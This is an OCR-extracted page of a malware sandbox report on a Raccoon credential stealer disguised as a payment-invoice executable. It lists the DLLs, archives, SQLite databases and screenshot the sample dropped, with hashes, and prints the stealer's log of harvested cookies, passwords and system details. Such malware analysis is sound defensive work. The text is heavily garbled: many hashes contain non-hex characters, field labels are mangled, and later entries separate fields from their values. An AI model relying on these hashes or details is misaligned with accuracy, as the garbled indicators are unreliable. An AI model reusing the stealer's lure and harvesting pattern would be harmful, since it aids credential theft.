C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\api-ms-win-crt-time-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20792

Entropy (8bit):  7.018061005886957

Encrypted: false

SSDEEP: 384:8ZSWWVgWPhWFe3di00GftpBjnlfemHIUG+zITA+0:XRNoibernAA+0

MD5: 849F2C3EBF1FCBA33D16153692D5810F

SHA1L: 1F8EDA52D31512EBFDD546BE60990B95C8E28BFB

SHA-256: 69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D

SHA-512: 44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FES7D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F!
Malicious: false

Preview:

JISIC..
..rdata$zzzdbg

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-utility-11-1-0.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit):  7.127951145819804

Encrypted: false

SSDEEP: 192:QqfHQAU3WIghWG4U9IY dsNtL/1230uo+Uggs/nGfedpBjSb8Z9WhOtxKdmVWQ4Cg:/fBWPhWF-+esnhi00GftpBjLBemHIP55q
MD5: B52A0CA52C9C207874639B62B6082242

SHAL: 6FB845D6A82102FF74BD35F42A2844D8C450413B

SHA-256: A1D1D6B0OCB0A8421D7C0D1297C4C389C95514493CD0OA386B49DC517AC1BIA2B0O

SHA-512: 18834D89376D703BD461EDF7738EB723AD8D54CB92ACCI9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A
Malicious: false
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C:\Users\user\AppData\LocalLow\aD1rF3aM8r\api-ms-win-crt-utility-11-1-0.dll

Preview:
MZ.ooiiiiiiin @ 1..L.IThis program cannot be run in DOS mode....$........ m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...15.......... L.

.RSDS...

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\breakpadinjector.dIl

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 117712

Entropy (8bit):  6.598338256653691

Encrypted: false

SSDEEP: 3072:9b9ffsTV5n8cSQQtys6FXCVnx+IMD6eN07e:P25V/QQs6WTMex7e

MDS5: A436472BOA7B2EB2C4F53FDF512D0CF8

SHA1L: 963FEBAEIEC8819EF2A674DBF7C6A92DBB6B46A9

SHA-256: 87ED943D2F06DICAB824789405B412E770FE84454950EC7E96105F756D858E52

SHA-512: 89918673ADDC0501746F24EC9A609AC4D416A4316B27BF225974E898891699B630BB18DB32432DA2F058DC11D9AF7BAF95D067B29FB39052EE7C6F622718271B
Malicious: false

Preview:

> {+B.{. *6.{* y+6.{*Rich7.{*

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\eJ7xG7cQ_5q.zip E

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: Zip archive data, at least v2.0 to extract

Category: dropped

Size (bytes): 2828315

Entropy (8bit):  7.998625956067725

Encrypted: true

SSDEEP: 49152:tiGLaX5/cgbRETICOEqgSVAX07 X ZiEi4qgiefeEJGt5ygL0+6/qax:t90X9alwISVP1fnefekGt5CP

MD5: 1117CD347D09C43C1F2079439056ADA3

SHAL: 93C2CE5FC4924314318554E131CFBCD119F01AB6

SHA-256: ACFADATEB51A6C0CB26283F9C86784B2B2587C59C46A5D3DCOF06CAD2C55EE97

SHA-512: FC3F85B50176C0F96898B7D744370E2FFOAA2024203B936EB1465304C1C7A56E1ACO78F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF

Malicious: false

Preview:
PK..oooa an<..{r.A..i ...... nssdbm3.dll...|...8...N..Y..6.$J....$1...D .a....JL.V.C.N.;... } ... $..Z T.R.qc..Ec.=....oo {sp LAPMLLLL WL L@ PN ~e AL W.0.....
[yt W K <yRAE.0.NXS.C...=V.o.p P U WO [ U €W TP { K~ ELW...C 2P [ 2. 6.6 V.2, 404 M. W nIL . Do Mo L)L SX LK
M.. w| LA8r. |x...rA..s7..} ........ <], TWm.....b6/._...a.W.IB..3.n.._..j...0.MZ.._Q.......8...K*.......... gr.L.*H..v...6[*..41..{179..<.>M..$G.&Y.......~.....0..9\...,t.W.m.X
.Y.3.*..S<#}.">.0RBg,...In.5..0.....1.p8...)..3..K.v....ds.n3.+]...+... krMu._.Y\.../8T......&BC.".u..;..e k US......~" {..M..\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.|k.5.. XF.Y..IVVW.
C..|...b.\Z..m. .0...P.F8{L.U.p.RW,n..MM.....s..._@..>Q.. ...N.>.T?WM....)9B............. mVW......0.6{.[\......0...M....>>.$\.%..L.zF.|...3

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\freebl3.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 334288

Entropy (8bit):  6.808908775107082

Encrypted: false

SSDEEP: 6144:6cYBCU/bEPUBRc5xUqc+z75nv4FOGHrIraqqDL6XPSed:67WRCB7zI4F014gn6R

MD5: 60ACD24430204AD2DC7F148B8CFE9BDC

SHAL: 989F377B9117D7CB21CBE92A4117F88F9C7693D9

SHA-256: 9876C53134DBBEC4DCCA67581F53638EBASFEA3A15491AA3CF2526B71032DA97

SHA-512: 626C36E9567F57FASECI9C36D96CBADEDEIC6F6734A7305ECFBIF798952BBACDFA33A1B6C4999BA5B78897DC2EC6F91870F7EC25B2CEACBAEE4BE942FESS1
DBO1

Malicious: false

Preview:
MZ..cooiiiiiiis @i 1..L.IThis program cannot be run in DOS mode....$......... /...AV..AV. AV...V..AV] @W..AV.1.V..AV].BW..AV].DW. AV].EW..
AV.@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV.
@i PP @. X P 0T @ 8.

.@....rsrc..x...@.. @..@.reloc..

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\idap60.dil
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\Idap60.dil

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 132048

Entropy (8bit):  6.627391684128337

Encrypted: false
SSDEEP: 3072:qgXCFTvwgiiynFa6zqeqQZ06DdEH4sq9gHNalkiQhEwe:qdvwgMFbOePIP/zklQ2h
MDS5: 5A49EBF1DA3D5971B62A4FD295A71ECF
SHA1L: 40917474EF7914126D62BA7CDBF6CF54D227AA20
SHA-256: 2B128B3702F8509F35CADOD657C9A00F0487B93D70336DF229F8588FBA6BA926
SHA-512: AB6123BA3BCFIDEBGAABCEO9F2F84D6D3C79B0586FIE2FDOC8A6C3246A91098099B64EDC2F5D7E7007D24048F10AE9FC30CCF7779171F3FD03919807EE6AF768(
Malicious: false
Preview:
1..L.IThis program cannot be run in DOS mode....$......... Q..?S..75..75..S..75|.>R..?S;..S..75|.<R..?S|..R..?S|;R..?
........... Ocvvvvern @...
Xerrearreeareannes veeans PeeTeis ..@..@.data...l........

...@..@.reloc.

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\Idif60.dIl

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20432

Entropy (8bit): 6.337521751154348

Encrypted: false

SSDEEP: 384:YXfML3ALXKOAZEUzOJKRsIFYVDG8A30PLonw4S:0fMmxFyO4RpGDG8M;S

MDS5: 4FE544DFC7CDAA026DA6EDAO9CADG6CA

SHAL: 85D21E5F5F72A4808F02F4EA14AAB5154E52CE99

SHA-256: 3AABBEOAAB6CEBA91ESC49B7DES77AF73B9889D7F03AF919F17F3F315A879B0OF

SHA-512: 5C78C5482E589AF7D609318A6705824FD504136AEAACE3F373E913DAB5FA03AF868669534496217B05D74364A165D7E08899437FCCOE3017F02D94858BA814BB
Malicious: false

Preview:

............................................... 1..L.IThis program cannot be run in DOS mode....$.......9.j..j..j..j. A KA KA KA KK L. KL KL LK. jRich
..... 0... vl @ cenPXe 2 N (1.@ .

C:\Users\user\AppData\LocalLow\aD1rF3aM8n\igpllibs.dil

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 55760

Entropy (8bit):  6.738700405402967

Encrypted: false

SSDEEP: 1536:LxsBS3Q6j+37mWT7DT/GszGrn7iBCmjFCOu:LXTBcmWT7X/Gszen7icmjFtu

MD5: 56E982D4C380C9CD24852564A8C02C3E

SHA1L: F9031327208176059CD03F53C8C5934C1050897F

SHA-256: 7F93B70257D966EA1C1A6038892B19E8360AADDSESAESSE75EBB0697BIEAB786

SHA-512: 92ADC4C905A800F8AB5C972B166099382F930435694D5F9A45D1FDE3FEF94FAC57FD8FAFF56FFCFCFDBC61A43E6395561B882966BEOC814ECC7E672C67E6G76!
A

Malicious: false

Preview:

MZ..coooiiiiis program cannot be run in DOS mode...$.......L.L. L. L~ 9 L~~~
" 2.

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\libEGL.dII

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 22480

Entropy (8bit): 6.528357540966124

Encrypted: false

SSDEEP: 384:INZ9mLVDAffIIKAtNOMLAb8X3FbvDG8A30PLonzvGh:4mx+fXvn4YFrDG8MKb

MD5: 96B879B611B2BBEE85DF18884039C2B8

SHAL: 00794796ACAC3899C1FBIABBF123FEF3CC641624
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C:\Users\user\AppData\LocalLow\aD1rF3aM8r\libEGL.dII

SHA-256: 7B9FC6BE34F43D39471C2ADD872D5B4350853DB11CC66A323EF9E0C231542FB9

SHA-512: DF8F1AA0384A5682AE47F212F3153D26EAFBBF12A8C996428C3366BEBE16850D0BDA453EC5F4806E6A62C36D312D37B8BBAFF549968909415670C9C61A6EC49

Malicious: false

Preview:
MZ. .@.. .L.IThis program cannot be run in DOS mode....$.. N{N{N{.6..N{.F,zZ.N{.F x.N{.F,~.N{.F,..N{..zZ.N{.T-z.N{.Nz..N{.T-
~ N{T-{.N{.T-..N{.T-y.N{.Rich.N{. WL..aAl\. " L7 d...P.x ST
@..@.reloc..

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\mozMapi32.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 83408

Entropy (8bit):  6.436278889454398

Encrypted: false

SSDEEP: 1536:CNr03+TtFKytqBOEeCsulsW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU

MD5: 385A92719CC3A215007B83947922B9B5

SHA1L: 38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10

SHA-256: 06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEBOD4AC7A8C3F225BB

SHA-512: 9FODFFO0C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1FOAB8DC452E2C65E9F4B6CD32BBB8ADALFF7C865126A5F318719579DB763E4C4.
3F

Malicious: false

Preview:

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8rimozMapi32_InUse.dlIl

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 83408

Entropy (8bit):  6.436278889454398

Encrypted: false

SSDEEP: 1536:CNr03+TtFKytqBOEeCsulsW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU

MD5: 385A92719CC3A215007B83947922B9B5

SHA1: 38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10

SHA-256: 06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEBOD4C7A8C3F225BB

SHA-512: 9FODFFO0C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1FOABBDC452E2C65E9F4B6CD32BBB8ADALFF7C865126A5F318719579DB763E4C4!
3F

Malicious: false

Preview:

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\mozglue.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 137168

Entropy (8bit):  6.784614237836286

Encrypted: false

SSDEEP: 3072:2652DIGLXINJICPONOj/KVhpLat/TXTv7q1D2JJIvPhrSeXZ5dR:MszGLXINIE/KVahp12/TXT{SD2JJIvPt

MD5: EAE9273F8CDCF9321C6C37C244773139

SHAL: 8378E2A2F3635574C106EEA8419B5EBO0B8489B0

SHA-256: A0C6630D4012AE0311FF40F4F06911BCF1A23F7A4762CE219B8DFFA012D188CC

SHA-512: 06E43E484A89CEA9BA9B9519828D38E7C64B040F44CDAEB321CBDA574E7551B11FEA139CE3538F387A0A39A3D8CA4CBA7FACFO3E4A3C98DB85F8121C2212A90
7

Malicious: false
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\mozglue.dll

Preview:
1..L.IThis program cannot be run in DOS mode....$......... U W 820>, T
.@..1....... Jee Xewoa
@....didat..8. i@ TSI X

@..@.reloc..l....0.c.cccoviiine LG = P TTETSTTOOTOTPRT P
C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\imsvcp140.dil
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 440120
Entropy (8bit):  6.652844702578311
Encrypted: false
SSDEEP: 12288:MIp4PwrPTIZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s0300c8dHkC2es90V:Mlp4PePozGMA0300c8dHkC2ecl
MD5: 109F0F02FD37C84BFC7508D4227D7EDS
SHA1L: EF7420141BB15AC334D3964082361A460BFDB975
SHA-256: 334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512: 46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD3¢
Malicious: false
Preview:

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\nss3.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1245136

Entropy (8bit):  6.766715162066988

Encrypted: false

SSDEEP: 24576:ido5Js2a56/+VwJebKj5KYFsRjzx5ZxKV6D1Z4Go/L Ciytoxq2Zwn5hCM4AMSRdY8:Q2aY4w6a0zx5ZWMM7yew8MSRK1y
MD5: 02CC7B8EE30056D5912DE54F1BDFC219

SHA1L: A6923DA95705FB81E368AE48F93D28522EF552FB

SHA-256: 1989526553FD1E1E49BOFEA8036822CA062D3D39C4CAB4A37846173D0F1753D5

SHA-512: OD5DFCF4FB19B27246FA799E339D67CD1B494427783F379267FB2D10D615FFB734711BAB2C515062C078F990A44A36F2D15859B1DACD4143DCC35B5COCEEOQE
Malicious: false

Preview:

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\nssckbi.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 336336

Entropy (8bit):  7.0315399874711995

Encrypted: false

SSDEEP: 6144:8bndzEL04gF85K9autlMyEhZ/V3psPyHad9tBel:8bndzELO4pnutiMyAp2z9tBel

MD5: BDAF9852F588C86B055C846B53D4C144

SHAL: 03B739430CF9EADE21C977B5B416C4DD94528C3B

SHA-256: 2481DA1C459A2429A933D19AD6AES514BD2AES9818246DDB67BOEF44146CED3D8

SHA-512: 19D9A952A3DF5703542FA52A5A780C2E04D6A132059F30715954EAC40CD1C3F3B119A29736D4A911BES5086AFE08A54A7482FA409DFD882BAC39037F9EECD7E
Malicious: false

Preview:

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\nssdbm3.dll
Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
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C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\nssdbm3.dll
Category: dropped

Size (bytes): 92624

Entropy (8bit):  6.639527605275762

Encrypted: false

SSDEEP: 1536:YVNGVOt0VjOJkbH8femxfRVMNKBDUOQWL1421GIkxERC+ANCFZ0Z/6tNRCwI41Pc:+NGVOiBZbcGmxXMcBgmzoCUZoZebHPAT

MDS5: 94919DEA9C745FBB01653F3FDAE5S9C23

SHA1L: 99181610D8C9255947D7B2134CDB4825BD5A25FF

SHA-256: BE3987A6CD970FF570A916774EB3D4E1EDCE675E70EDAC1BAF5E2104685610B0

SHA-512: 1A3BB3ECADD76678A65B7CB4EBE3460D0502B4CA96B1399F9E56854141C8463A0CFCFFEDF1DEFFB7470DDFBAC3B608DC10514ECA196D19B70803FBB02188E
5E

Malicious: false

Preview:

................................ 1..L.IThis program cannot be run in DOS mode....$
5.24Y.5..4 0A4 AX A XA BXARIChY 4 PE.L..@.\.......... M O

ZYANAYAP.U4.5[4.y.Q4.7X4.1.S4. 0RA{5[4.

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\pridap60.dil

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 24016

Entropy (8bit):  6.532540890393685

Encrypted: false

SSDEEP: 384:TQIMOeAdiNcNUO3qgpw6MnTmJIKOIIEEHANDI3vDG8A30PLondJJs2z:KMaNgb6MTmVIIEK2p/DG8MIsQ

MD5: 6099C438F37E949C4C541E61E88098B7

SHA1L: 0ADO3A6F626385554A885BD742DFE5B59BC944F5

SHA-256: 46B005817868F91CF60BAAOS2EE96436FC6194CE9AG61E93260DF5037CDFA37A5

SHA-512: 97916C72BF75C11754523E2BC14318A1EA310189807AC8059C5F3DC1049321E5A3F82CDDD62944EAG6688F046EE02FF10B7DDF8876556D1690729E5029EA414A9

Malicious: false

Preview:
MZ..ooiiiin @ i 1..L.IThis program cannot be run in DOS mode....$.......5:wq[.$q[.$q[.$x#.$[.$.9.%5S[.$.9.%p[.$.9.%{[.$.9.%2z[.$S;.%s[
.$.8.%![. $q[$ [$8 %t[.$.8.%p[.$.8.$p[.$.8.%p[.$Richq[.$........ PE.L...@.\.......... "t s %....

text...2. .@..@.data...4...@.

C:\Usersl\user\AppData\LocalLow\aD1rF3aM8r\gipcap.dlil

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 16336

Entropy (8bit):  6.437762295038996

Encrypted: false

SSDEEP: 192:aPgr1ZCh2vGJ7b20gKvFej7xOKDWpH3VUA397Ae+PjPonZwC7Qm:aYpZPGJIP209F4vDGBA30PLONZWC7X

MD5: F3A355D0B1AB3CC8EFFCC90C8A7B7538

SHA1L: 1191F64692A89A04D060279C25E4779C05D8C375

SHA-256: 7A589024CFOEEB59F020F91BE4FE7EE0C90694C92918A467D5277574AC25A5A2

SHA-512: 6A9DB921156828BCE7063E5CDC5EC5886A13BD550BA8ED88CI9FAGE7869ECFBAODOB7953A4932EB8381243CD95E87C98B91C90D4EB2BOACD7EE87BE114A91
A9E

Malicious: false

Preview:

.$6.7W..7TW..7W..>/.5W...5.5W...5..6W...5.. >W...5..<W...7..4W.
.......................... $.P...@. X....... WP
.@....rsrc..x...@..

L.IThis program cannot be run in DOS mode....$

C:\Users\user\AppDatal\LocalLow\aD1rF3aM8r\softokn3.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 144848

Entropy (8bit): 6.54005414297208

Encrypted: false

SSDEEP: 3072:8Af6suip+I7FEk/0Jz69sFaXeu9CoT2nIVFetBW3D2xkEMk:B6POsF4CoT20eYMzMk

MD5: AE8DF049F3459FA94AB6AD387F3561AC

SHAL: 06ED392BC29ADID5FCO5EE254C2625FD65925114
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C:\Users\user\AppData\LocalLow\aD1rF3aM8r\softokn3.dll

SHA-256:
SHA-512:

Malicious:

Preview:

25A4DAE37120426AB060EBB39B7030B3E7C1093CC34B0877F223B6843B651871

3DD4A86F83465989B2B30C240A7307EDD1B92D5C1D5C57D47EFF287DCODAA7TBACE157017908D82EO00BEQOF08FF5BADB68019FFC9D881440229DCEAS038F61C
6

false

@ L.!IThis program cannot be run in DOS mode....$ $...J0..J0..J0.u.0..J0?0KN..JO?0IN..JO?00N..JO?0NN

nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.0..JO-nHN..JORich..JO........ PE.L..@.\....

C:\Users\luser\AppData\LocalLow\aD1rF3aM8r\ucrtbase.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

1142072

6.809041027525523

false

24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4ThK:FBmF2lleaAPgb
D6326267AE77655F312D2287903DB4D3

1268BEF8E2CA6EBC5FB974FDFAFF13BESBA7574F
0BB8C77DE8SOACFIC43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
11DB71D286E9DF01CBO5ACEFOE639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D

false

L.!This program cannot be run in DOS mode....$

C:\Users\user\AppData\LocalLow\aD1rF3aM8r\vcruntime140.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

83784

6.890347360270656

false

1536:AQXQNgAuUCDeHFtg3uYQkDqiVsv39nil35kU2yecbVKHHwhbfughZyk: AQXQNVDeHFtO5d/A39%ie6yechVKHHWIF
7587BF9CB4147022CD5681B015183046

F2106306A8F6FODASAFB7FC765CFA0757AD5A628
C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBDOF142A7BF031C14D

0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BCODFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E9!
E

false
MZ.oiiiiiiiin, @i 1..L.IThis program cannot be run in DOS mode....$.......... NE..E..E..".G..LAN..E...l...... U....... ViAo D.....
2.D.. H?..0.cee 8.....

.@..@.reloc..

C:\Users\user\AppDatal\LocalLow\eL4nZ5eH2n

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
ASCII text, with CRLF, CR line terminators

dropped

1076

5.268497426692301

false
24:n0Ox3+J3H/v3eFfy53Net51IrBghKQa7BCGik/R8RA2Tv(zh:nOp+R33V3NetiBgsCGik/ROA+0h
96057703407F6C519814A40E157B809F

7EC5CFEQ9EF82F53EDADB4644B9E22E194AD06C2
BD91256E1718A90CE39ED7542B1C5C6A05111417065A78B9686289CCDD2F92E8

CDC92F9B00C059519E6A06043531BCABDOBBD404834AF7B79209295B7EC345BEE22A9E05B18ED1B8BD0178D6E3549FB5D19E0210702D3C5C8756B9691E8C1AI
3

false

Copyright Joe Security LLC 2021 Page 33 of 91



C:\Users\user\AppData\LocalLow\eL4nZ5eH2n

Preview:
Racc0_0n | 1.8.0...Build compile date: Fri Aug 13 16:25:26 2021...Launched at: 2021.09.14 - 09:19:21 GMT...Bot_ID: DO6ED635-68F6-4E9A-955C-4899F5F57B9
A_user...Running on a desktop......-------------...... - Cookies: 1... - Passwords: 0... - Files: 0......System Information:... - System Language: English... - System TimeZone:
-8 hrs... - IP:84.17.52.51... - Location: 47.431702, 8.575900 | Zurich, Zurich, Switzerland (8152)... - ComputerName: 472847... - Username: user... - Windows version:
NT 10.0... - Product name: Windows 10 Pro... - System arch: x64... - CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)... - RAM: 8191 MB (5312 MB used)... -
Screen resolution: 1280x1024... - Display devices:....0) Microsoft Basic Display Adapter......-----------—-...... Installed Apps: ....Adobe Acrobat Reader DC (19.012.200
35)....Google Chrome (85.0.4183.121)....Google Update Helper (1.3.35.451)....Java 8 Update 211 (8.0.2110.12)....Java Auto Updater (2.8.211.12)....Update for

C:\Users\luser\AppData\LocalLow\frAQBc8Wsa

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false
SSDEEP: 48:2i3nBA+I1Y1PJzrQURCVE9V8MXODOHSFINUfAIGUGY FONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFI8AIG40NFeymw
MDS5: 81DB1710BB13DA3343FCODFIF00BE49F
SHA1L: 9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false
Preview:
SQLite format 3...... @ e ettt e et e te oottt e e —eeteeeateeetteeteeasteeaste ettt ateeanteeasteeateeeateeanteeaateenaeeaeaeeraeaaaeanes

C:\Users\luser\AppData\LocalLow\rQF69AzBla

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped
Size (bytes): 20480
Entropy (8bit):  0.698304057893793
Encrypted: false
SSDEEP: 24:TLbJLbXaFpEO5bNmMISHNO6UwcQPx5fBolL4rtEy80: TSLLOpEO5J/Kn7ULuBol+j
MD5: 3806E8153A55C1A2DA0B09461A9C882A
SHA1L: BD98AB2FB5E18FD94DC24BCE875087B5C3BB2F72
SHA-256: 366E8B53CEBCC27C0980AC532C2E9D372399877931ABOCEA075C62B3CBOF82BE
SHA-512: 31E96CC89795D80390432062466D542DBEA7DF31E3E8676DF370381BEDC720948085AD495A735FBDB75071DE45F3B8E470D809E863664990A79DEESADC6E48F 1«
Malicious: false
Preview:
SQLite format 3.

C:\Users\user\AppDatal\LocalLow\screen.jpeg

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category: dropped

Size (bytes): 62293

Entropy (8bit):  7.731923824782311

Encrypted: false

SSDEEP: 1536:PDrkqYngQyGy4VhGNGYw4HUmMKsgmLABdDhcYPjR6:bravLIBK5YAZjPA

MD5: 0579814413F01BF8816129DEBE411514

SHAL: FO80AD53CA3A85C325B75FC4E2B6C9B86B917716

SHA-256: DB24F5DC9ECA4F01181363FF27AB9B162077F6CEAE6139E0A52D59BEGABD56F9

SHA-512: 057C4EOF31115139924996B116248AFAF262BC2F93ECOEEA3E280FDB73E95F1F37B9FCBE06B9657B30FF3F2043BC7E377FB1839930B760FB3B723B42CFD53A85
Malicious: false

Preview:

&'()*56789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
f>yH,g..2..r-2.Gi.....0J.c*.....<...? . sue._?.....6..ki..bd. #. .= [E-...R.WP..*y .g._.....eX}b.sOg..1K]@.v..... ... U.]JC.k...vL...\*F....[ QE%hH.RR..QK]7..k-N
.9.Ffl0.b8.&5..R..."..)2...=+.y....O0.+<..._.CH.#2tw.\)F*. ... LMXm...(..(..5.Wz......10...v...._..0.i9Xi\..+......... S.SL..E,H..q.2.2.+8*M........ *P..

C:\Users\user\AppDatal\LocalLow\sqlite3.dll

Process: C:\Users\user\Desktop\usd15.030 payment copy & signed invoice SEPTEMBER 2021 shipment.exe
File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category: dropped
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C:\Users\user\AppDatal\LocalLow\sqlite3.dll
Size (bytes): 916735
